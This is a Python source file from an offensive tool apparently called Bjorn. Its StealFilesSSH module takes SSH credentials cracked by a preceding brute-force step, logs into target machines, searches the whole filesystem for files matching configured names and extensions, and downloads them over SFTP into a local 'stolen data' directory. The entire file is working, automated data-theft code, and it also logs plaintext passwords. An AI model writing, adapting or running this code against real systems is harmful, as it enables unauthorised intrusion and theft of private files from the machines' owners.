Bjorn/actions/steal_files_ssh.py

"""
steal_files_ssh.py - This script connects to remote SSH servers using provided credentials, searches for specific files, and downloads them to a local directory.
"""

import os
import paramiko
import logging
import time
from rich.console import Console
from threading import Timer
from shared import SharedData
from logger import Logger

# Configure the logger
logger = Logger(name="steal_files_ssh.py", level=logging.DEBUG)

# Define the necessary global variables
b_class = "StealFilesSSH"
b_module = "steal_files_ssh"
b_status = "steal_files_ssh"
b_parent = "SSHBruteforce"
b_port = 22

class StealFilesSSH:
    """
    Class to handle the process of stealing files from SSH servers.
    """
    def __init__(self, shared_data):
        try:
            self.shared_data = shared_data
            self.sftp_connected = False
            self.stop_execution = False
            logger.info("StealFilesSSH initialized")
        except Exception as e:
            logger.error(f"Error during initialization: {e}")

    def connect_ssh(self, ip, username, password):
        """
        Establish an SSH connection.
        """
        try:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(ip, username=username, password=password)
            logger.info(f"Connected to {ip} via SSH with username {username}")
            return ssh
        except Exception as e:
            logger.error(f"Error connecting to SSH on {ip} with username {username}: {e}")
            raise

    def find_files(self, ssh, dir_path):
        """
        Find files in the remote directory based on the configuration criteria.
        """
        try:
            stdin, stdout, stderr = ssh.exec_command(f'find {dir_path} -type f')
            files = stdout.read().decode().splitlines()
            matching_files = []
            for file in files:
                if self.shared_data.orchestrator_should_exit :
                    logger.info("File search interrupted.")
                    return []
                if any(file.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
                   any(file_name in file for file_name in self.shared_data.steal_file_names):
                    matching_files.append(file)
            logger.info(f"Found {len(matching_files)} matching files in {dir_path}")
            return matching_files
        except Exception as e:
            logger.error(f"Error finding files in directory {dir_path}: {e}")
            raise

    def steal_file(self, ssh, remote_file, local_dir):
        """
        Download a file from the remote server to the local directory.
        """
        try:
            sftp = ssh.open_sftp()
            self.sftp_connected = True  # Mark SFTP as connected
            remote_dir = os.path.dirname(remote_file)
            local_file_dir = os.path.join(local_dir, os.path.relpath(remote_dir, '/'))
            os.makedirs(local_file_dir, exist_ok=True)
            local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file))
            sftp.get(remote_file, local_file_path)
            logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
            sftp.close()
        except Exception as e:
            logger.error(f"Error stealing file {remote_file}: {e}")
            raise

    def execute(self, ip, port, row, status_key):
        """
        Steal files from the remote server using SSH.
        """
        try:
            if 'success' in row.get(self.b_parent_action, ''):  # Verify if the parent action is successful
                self.shared_data.bjornorch_status = "StealFilesSSH"
                # Wait a bit because it's too fast to see the status change
                time.sleep(5)
                logger.info(f"Stealing files from {ip}:{port}...")

                # Get SSH credentials from the cracked passwords file
                sshfile = self.shared_data.sshfile
                credentials = []
                if os.path.exists(sshfile):
                    with open(sshfile, 'r') as f:
                        lines = f.readlines()[1:]  # Skip the header
                        for line in lines:
                            parts = line.strip().split(',')
                            if parts[1] == ip:
                                credentials.append((parts[3], parts[4]))
                    logger.info(f"Found {len(credentials)} credentials for {ip}")

                if not credentials:
                    logger.error(f"No valid credentials found for {ip}. Skipping...")
                    return 'failed'

                def timeout():
                    """
                    Timeout function to stop the execution if no SFTP connection is established.
                    """
                    if not self.sftp_connected:
                        logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.")
                        self.stop_execution = True

                timer = Timer(240, timeout)  # 4 minutes timeout
                timer.start()

                # Attempt to steal files using each credential
                success = False
                for username, password in credentials:
                    if self.stop_execution or self.shared_data.orchestrator_should_exit:
                        logger.info("File search interrupted.")
                        break
                    try:
                        logger.info(f"Trying credential {username}:{password} for {ip}")
                        ssh = self.connect_ssh(ip, username, password)
                        remote_files = self.find_files(ssh, '/')
                        mac = row['MAC Address']
                        local_dir = os.path.join(self.shared_data.datastolendir, f"ssh/{mac}_{ip}")
                        if remote_files:
                            for remote_file in remote_files:
                                if self.stop_execution or self.shared_data.orchestrator_should_exit:
                                    logger.info("File search interrupted.")
                                    break
                                self.steal_file(ssh, remote_file, local_dir)
                            success = True
                            countfiles = len(remote_files)
                            logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} using {username}")
                        ssh.close()
                        if success:
                            timer.cancel()  # Cancel the timer if the operation is successful
                            return 'success'  # Return success if the operation is successful
                    except Exception as e:
                        logger.error(f"Error stealing files from {ip} with username {username}: {e}")

                # Ensure the action is marked as failed if no files were found
                if not success:
                    logger.error(f"Failed to steal any files from {ip}:{port}")
                    return 'failed'
            else:
                logger.error(f"Parent action not successful for {ip}. Skipping steal files action.")
                return 'failed'
        except Exception as e:
            logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
            return 'failed'

if __name__ == "__main__":
    try:
        shared_data = SharedData()
        steal_files_ssh = StealFilesSSH(shared_data)
        # Add test or demonstration calls here
    except Exception as e:
        logger.error(f"Error in main execution: {e}")